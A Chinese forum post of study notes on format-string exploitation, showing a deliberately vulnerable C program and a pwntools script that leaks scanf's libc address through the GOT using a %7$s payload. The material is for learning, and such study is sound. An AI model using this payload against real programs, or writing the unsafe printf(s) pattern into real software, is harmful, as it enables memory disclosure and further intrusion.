首页
社区
课程
招聘
[原创]PWN学习笔记【格式化字符串漏洞】【泄露libc地址】
2022-6-7 18:37 8764

[原创]PWN学习笔记【格式化字符串漏洞】【泄露libc地址】

2022-6-7 18:37
8764


https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/


源码:

#include <stdio.h>

int main()
{
    char s[100];
    scanf("%s", s);
    printf(s);
    return 0;
}//gcc -m32 -fno-stack-protector -no-pie test.c



输入tag确定偏移量

控制参数在printf的第7个参数,再次确认:


查看got中scanf的地址:

[0x804a014] __isoc99_scanf@GLIBC_2.7 -> 0xf7e5e0d0 (__isoc99_scanf)


取scanf的地址:

from pwn import *

context.log_level = 'debug'

sh = gdb.debug("./a.out", "b *printf")
elf = ELF("./a.out")

scanf_got = elf.got['__isoc99_scanf']
print("scanf_got:%x" %scanf_got)
payload = flat([
    p32(scanf_got),
    b'%7$s\n',
])

sh.send(payload)
print(sh.recv())
sh.interactive()


收到结果:








注:本来想取printf的地址,但是失败了

发送的数据:

收到的数据(0c丢了):


ctf-wiki解释为:


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回